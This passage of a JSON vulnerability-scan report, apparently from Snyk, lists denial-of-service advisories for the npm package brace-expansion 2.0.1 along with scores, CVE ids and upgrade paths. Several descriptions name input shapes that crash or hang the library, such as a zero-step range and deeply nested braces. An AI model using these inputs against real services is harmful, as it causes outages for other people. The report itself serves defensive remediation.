"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
